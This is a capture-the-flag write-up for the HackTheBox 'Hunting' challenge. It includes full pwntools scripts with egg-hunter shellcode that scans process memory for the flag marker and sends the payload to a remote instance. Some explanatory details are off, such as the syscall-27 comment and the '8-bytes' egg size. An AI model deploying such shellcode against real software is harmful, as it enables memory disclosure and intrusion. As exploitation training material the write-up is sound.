# Hunting - HackTheBox Writeup

## Description
I've hidden the flag very carefully, you'll never manage to find it! Please note that the goal is to find the flag, and not to obtain a shell.

We are provided with a 32-bit ELF binary. So, for this challenge, it's not about obtaining a shell, as the challenge description states; our task is going to be finding the flag hidden inside the binary.

Now, let's analyze the binary in Binary Ninja


In the main function, the program registers a signal handler for `SIGALRM` and uses `mmap` to create a random address where it copies the flag. Then, it creates another `mmap` for user input, reads 60 bytes, and calls it.

Let's step through this in GDB:


I set a breakpoint at the `mmap` function to reach the main function where the magic happens


After stepping through, we find that the dummy flag is copied to the stack


Now, our task is clear. The flag is somewhere in the stack, and we need to prepare a shellcode to print it to stdout. After some research, I decided to use an "EGG Hunter."

## What is an EGG Hunter
An EGG Hunter is a shellcode technique where the process's memory is searched for a specific marker (the "egg") to locate a secondary payload or shellcode.

In our case, we need to search for the flag's signature and print the flag to stdout.

## Solution

First, let's prepare a `pwntools` template to write our payload. For debugging, I'll save the payload as a file to run it in GDB


This simple shellcode tests if our payload works by pushing `0x1337` to the stack and popping it into the `eax` register.

As seen in GDB, our shellcode is about to be called


The small assembly code executes successfully


Great, as we can see from the instruction above, the small assembly code that we've written is gonna be executed.


Okay, our two lines of assembly code have been executed, and as you can see at the top, the `$eax` register has the value of `0x1337`. Now, let's write our payload.

## Breakdown

### Step 1
Before writing our payload, let's figure out what we need to do. Since we are using the `Egg hunter` technique, we need an 8-bytes long signature, which for this challenge, we're going to use `HTB{`. Additionally, since we'll be searching the VAS (Virtual Address Space), we need to check if we have permission to access a memory section while searching.

### Step 2
To check the permission, we can use the syscall `access()`. This syscall allows us to check if we can access a specific memory address; if not, it will set our `al` register to `0xf2` (EFAULT).

### Step 3
After we have located our flag, we need a way to print the value to stdout. To do that, we can use the syscall `write()`.

Now let's write our egg hunter shellcode:

#!/usr/bin/env python3                                                                                                
from pwn import * # importing everything from pwntools to our namespace                                               
import sys                                                                                                            
                                                                                                                      
context.arch = "i386" # setting architecture for compiled assembly                                                    


assembly = """ 
setup:
    mov eax, 27         # sys_mincore                                                                          
    int 0x80

    mov edi, 0x7b425448         # our egg, "HTB{"
    mov edx, 0x5fffffff         # mem start

next_page:
    or dx, 0xfff

test_next:
    inc edx                     # mov one up
    pusha
    xor ecx, ecx
    mov al, 0x21                # syscall_access
    lea ebx, [edx + 0x4]        # get four byte of the memory
    int 0x80                    # syscall

    cmp al, 0xf2                # check if its EFAULT
    popa
    jz next_page                # if it is move to the next page
    cmp [edx], edi              # if not check our egg
    jnz test_next               # if our egg is not equal, move to the next address

    push 0x04                   # sys_write syscall
    pop eax
    push 0x01                   # STDOUT
    pop ebx                       
    mov ecx, edx                # bytes to print
    push 0x24                   # size of the string
    pop edx
    int 0x80  

""" # our raw assembly

payload = asm(assembly) # using pwntools asm() function to compile it into bytes


with open("buff.bin", "wb") as buff:
    buff.write(payload)
    print("payload saved!")

Okay, here is the assembly shellcode. I've written a comment on the shellcode describing what it's doing. At a high level, it sets the egg (`HTB{`) to the `edi` register, then sets VAS memory start for us to search our flag on `edx`. On the `test_next` label, it increments `edx` register and checks if we can `access` that memory section using the `access` syscall.

Then we compare our 4 bytes of egg to a memory section that we can access. It will go through the memory section until we find our flag. Finally, we use our `write` syscall to print the flag to stdout.

Let's test it out using GDB:


Our shellcode started to execute


Awesome! The flag is found, and it's set on the `$ecx` register from the screenshot above. Now, let's test our payload using only the binary, without GDB


Great, it seems to work fine. Now, let's modify our code so that our payload will send the shellcode to the remote instance

#!/usr/bin/env python3                                                                                                
from pwn import * # importing everything from pwntools to our namespace                                               
import sys                                                                                                            
                                                                                                                      
context.arch = "i386" # setting architecture for compiled assembly                                                    
                                                                                                                      
                                                                                                                      
assembly = """                                                                                                        
setup:                                                                                                                
    mov eax, 27                 # sys_mincore                                                                         
    int 0x80                                                                                                          
                                                                                                                      
    mov edi, 0x7b425448         # our egg, "HTB{"                                                                     
    mov edx, 0x5fffffff         # mem start

next_page:
    or dx, 0xfff

test_next:
    inc edx                     # mov one up
    pusha
    xor ecx, ecx
    mov al, 0x21                # syscall_access
    lea ebx, [edx + 0x4]        # get four bytes of the memeory
    int 0x80                    # syscall

    cmp al, 0xf2                # check if its EFAULT
    popa
    jz next_page                # if it is move to the next page
    cmp [edx], edi              # if not check our egg
    jnz test_next               # if our egg is not equal, move to the next address

    push 0x04                   # sys_write syscall
    pop eax
    push 0x01                   # STDOUT
    pop ebx                      
    mov ecx, edx                # bytes to print
    push 0x24                   # size of the string
    pop edx
    int 0x80                    # syscall

""" # our raw assembly

payload = asm(assembly) # using pwntools asm() function to compile it into bytes


if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} ip:port")
    sys.exit(1)
else:
    target = sys.argv[1]
    host = target.split(":")[0]
    port = int(target.split(":")[1])
    
    io = remote(host, port)

    io.send(payload)  # sending the payload into the process
    io.interactive()  # going into interactive mode with the process

Here is the full code. When given the HTB instance, it will send the shellcode and check if we can get the flag or not.


Awesome! The shellcode worked against the remote instance.

__Reference__:
https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf